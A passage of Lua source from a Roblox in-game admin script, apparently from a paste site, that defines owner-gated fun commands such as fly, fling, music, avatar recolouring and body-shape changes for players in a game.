- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "face " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
- v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
- end
- end))
- end
- end
- ------------------
- -- Fun Commands --
- ------------------
- if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
- if msg:lower():sub(1,8) == "swagify " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for i,v in pairs(v.Character:children()) do
- if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
- if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
- end
- for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
- local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
- repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
- local torso = plr.Character.Torso
- local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
- p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
- p.Size = Vector3.new(.2,.2,.2)
- local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
- local motor1 = Instance.new("Motor", p)
- motor1.Part0 = p
- motor1.Part1 = torso
- motor1.MaxVelocity = .01
- motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
- motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
- local wave = false
- repeat wait(1/44)
- local ang = 0.1
- local oldmag = torso.Velocity.magnitude
- local mv = .002
- if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
- ang = ang + math.min(torso.Velocity.magnitude/11, .5)
- motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
- motor1.DesiredAngle = -ang
- if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
- repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
- if torso.Velocity.magnitude < .1 then wait(.1) end
- until not p or p.Parent ~= torso.Parent
- script:Destroy()
- ]] cl.Parent = v.PlayerGui cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "music " then
- for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
- local id = msg:sub(7)
- local pitch = 1
- if tostring(id):lower():find("caramell") then id = 2303479 end
- if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
- if tostring(id):find("rick") then id = 2027611 end
- if tostring(id):find("halo") then id = 1034065 end
- if tostring(id):find("pokemon") then id = 1372261 end
- if tostring(id):find("cursed") then id = 1372257 end
- if tostring(id):find("extreme") then id = 11420933 end
- if tostring(id):find("awaken") then id = 27697277 end
- if tostring(id):find("alone") then id = 27697392 end
- if tostring(id):find("mario") then id = 1280470 end
- if tostring(id):find("choir") then id = 1372258 end
- if tostring(id):find("chrono") then id = 1280463 end
- if tostring(id):find("dotr") then id = 11420922 end
- if tostring(id):find("entertain") then id = 27697267 end
- if tostring(id):find("fantasy") then id = 1280473 end
- if tostring(id):find("final") then id = 1280414 end
- if tostring(id):find("emblem") then id = 1372259 end
- if tostring(id):find("flight") then id = 27697719 end
- if tostring(id):find("banjo") then id = 27697298 end
- if tostring(id):find("gothic") then id = 27697743 end
- if tostring(id):find("hiphop") then id = 27697735 end
- if tostring(id):find("intro") then id = 27697707 end
- if tostring(id):find("mule") then id = 1077604 end
- if tostring(id):find("film") then id = 27697713 end
- if tostring(id):find("nezz") then id = 8610025 end
- if tostring(id):find("angel") then id = 1372260 end
- if tostring(id):find("resist") then id = 27697234 end
- if tostring(id):find("schala") then id = 5985787 end
- if tostring(id):find("organ") then id = 11231513 end
- if tostring(id):find("tunnel") then id = 9650822 end
- if tostring(id):find("spanish") then id = 5982975 end
- if tostring(id):find("venom") then id = 1372262 end
- if tostring(id):find("wind") then id = 1015394 end
- if tostring(id):find("guitar") then id = 5986151 end
- local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
- end
- if msg:lower() == "stopmusic" then
- for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
- end
- if msg:lower() == "musiclist" then
- if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
- local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
- local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
- for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
- end
- if msg:lower():sub(1,4) == "fly " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
- cl.Parent = v.PlayerGui cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "unfly " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
- for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
- for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
- wait(.1) v.Character.Humanoid.PlatformStand = false
- end
- end))
- end
- end
- if msg:lower() == "disco" then
- for i, v in pairs(lobjs) do v:Destroy() end
- local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
- game.Lighting.Ambient = color
- game.Lighting.FogColor = color
- until nil]]
- table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
- end
- if msg:lower() == "flash" then
- for i, v in pairs(lobjs) do v:Destroy() end
- local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
- game.Lighting.Ambient = Color3.new(1,1,1)
- game.Lighting.FogColor = Color3.new(1,1,1)
- game.Lighting.Brightness = 1
- game.Lighting.TimeOfDay = 14
- wait(.1)
- game.Lighting.Ambient = Color3.new(0,0,0)
- game.Lighting.FogColor = Color3.new(0,0,0)
- game.Lighting.Brightness = 0
- game.Lighting.TimeOfDay = 0
- until nil]]
- table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
- end
- if msg:lower():sub(1,5) == "spin " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
- local torso = v.Character:findFirstChild("Torso")
- local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
- repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
- until not bg or bg.Parent ~= torso
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unspin " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "dog " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- v.Character.Torso.Transparency = 1
- v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
- local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
- local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
- local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
- for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "undog " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
- if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
- v.Character.Torso.Transparency = 0
- v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
- for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "creeper " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- v.Character.Torso.Transparency = 0
- v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
- for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
- end
- end))
- end
- end
- if msg:lower():sub(1,10) == "uncreeper " then
- local plrz = GetPlr(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
- if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
- v.Character.Torso.Transparency = 0
- v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
- for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "bighead " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
- end))
- end
- end
- if msg:lower():sub(1,9) == "minihead " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
- end))
- end
- end
- if msg:lower():sub(1,6) == "fling " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
- local xran local zran
- repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
- repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
- v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
- local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "seizure " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
- local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
- table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,10) == "unseizure " then
- local plrz = GetPlr(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
- wait(.1) v.Character.Humanoid.PlatformStand = false
- end
- end))
- end
- end
- if msg:lower():sub(1,12) == "removelimbs " then
- local plrz = GetPlr(plr, msg:lower():sub(13))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "name " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") then
- for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
- local char = v.Character
- local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
- local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
- local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
- char.Head.Transparency = 1
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unname " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") then
- for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "char " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
- v:LoadCharacter()
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unchar " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
- v:LoadCharacter()
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "infect " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- Infect(v.Character)
- end
- end))
- end
- end
- if msg:lower():sub(1,11) == "rainbowify " then
- local plrz = GetPlr(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
- cl.Parent = v.Character cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "flashify " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
- cl.Parent = v.Character cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "noobify " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- Noobify(v.Character)
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "ghostify " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
- if prt.Name:find("Leg") then prt.Transparency = 1 end
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
- end end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "goldify " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
- end end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "shiny " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
- if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
- end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "normal " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
- if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
- if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
- v.Character.Torso.Transparency = 0
- v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
- v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
- v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
- v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
- for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
- prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
- if prt.Name == "FAKETORSO" then prt:Destroy() end
- elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
- end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "trippy " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
